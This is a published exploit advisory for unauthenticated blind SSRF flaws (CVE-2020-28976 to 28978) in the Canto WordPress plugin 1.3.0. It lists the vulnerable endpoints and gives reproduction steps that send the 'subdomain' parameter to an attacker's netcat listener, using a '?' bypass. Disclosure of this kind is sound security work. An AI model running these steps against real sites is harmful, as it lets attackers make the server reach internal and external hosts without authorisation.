# Exploit Title: WordPress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)# Date: 03/12/2020# Exploit Author: Pankaj Verma (_p4nk4j)# Vendor Homepage: https://www.canto.com/integrations/wordpress/# Software Link: https://github.com/CantoDAM/Canto-Wordpress-Plugin# Version: 1.3.0# Tested on: Ubuntu 18.04# CVE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978
Description:-
The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities.
It allows an unauthenticated attacker to make a request to any Internal and External Server via "subdomain" parameter.
Vulnerable Parameters and Endpoints:-
https://target/wp-content/plugins/canto/includes/lib/detail.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/get.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/tree.php?subdomain=
Steps To Reproduce:-
1.Start a Netcat Listener on any port For e.g. 4499
2. Navigate to "<wordpress_server>/wp-content/plugins/canto/includes/lib/detail.php?subdomain="
3. Add the Attacker's IP and Port For e.g. "172.17.0.1:4499?" to "subdomain=" parameter.
4. Observe the response we got from the Target on Attacker's Listener.
Note:-Using"?" in the payload is mandatory as it acts as a bypass to conduct this attack.
